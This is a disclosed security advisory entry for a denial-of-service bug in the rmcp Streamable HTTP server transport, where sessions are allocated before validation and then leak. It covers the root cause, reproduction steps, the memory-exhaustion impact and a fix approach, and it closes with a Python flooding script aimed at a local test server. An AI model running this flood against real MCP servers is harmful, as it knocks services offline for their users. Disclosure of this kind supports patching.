# RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service

rmcp Streamable HTTP handle_post creates a session before validating the JSON-RPC body, so non-initialize POSTs leak permanent session-table entries and OOM the server.

- Payout: Research
- Severity: high
- Program: rmcp
- Found by: hewei-gikaku
- Disclosed: 2026-09-16
- CVE: CVE-2026-63128
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9pj6-vhgr-3mwh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9pj6-vhgr-3mwh
- Tags: area:web domain:oss domain:web impact:dos kind:research platform:ghsa sev:high tech:rust technique:race-window technique:source-review vuln:dos vuln:misconfiguration

**Target:** MCP Streamable HTTP server transport (LocalSessionManager session table)
**Root cause:** handle_post calls session_manager.create_session() before checking the body is an InitializeRequest; the four early-return paths skip close_session, and the worker's cancellation leaves the LocalSessionHandle (and its mpsc Sender) pinned in the sessions HashMap forever.
**Steps:**
1. Run a default StreamableHttpService with LocalSessionManager and a reporter printing sessions.read().await.len() each second.
2. Send `POST /mcp` with a valid JSON-RPC body that is not an InitializeRequest, e.g. `{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}`, with `Host: 127.0.0.1:8000` and `Content-Type: application/json`.
3. Server returns HTTP 422 `Unexpected message, expect initialize request` but the session entry remains.
4. Repeat; active_sessions climbs linearly and never decreases after the client disconnects.
**How found:** Code reading of handle_post: noticed create_session() at (★) precedes the InitializeRequest discriminant check and that spawn_session_worker is the only path calling close_session, so early returns (A)-(D) orphan the handle; confirmed the worker exits via Cancelled while the HashMap-owned Sender keeps the channel Inner alive.
**Exploitation:** Unauthenticated attacker floods well-formed non-initialize JSON-RPC POSTs at ~2,000/s; each ~250-byte request leaves a ~400-550 byte permanent allocation, reaching ~84 GB/day and OOM-killing the process, plus RwLock write-starvation degrading legitimate clients beforehand.
**Escalation:** Secondary amplification: every legitimate session operation takes the same tokio RwLock, so HashMap growth causes tail-latency degradation before OOM.
**Insight:** In session-manager transports, check whether session allocation happens before request validation and whether cleanup lives only on the happy path; a Drop guard around the session id converts every early-return into cleanup and is testable by asserting the session map is empty after a rejected request.

## Proof of concept (copied exactly from the original report)

**Attacker script sending non-initialize POSTs**

```
import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")
```

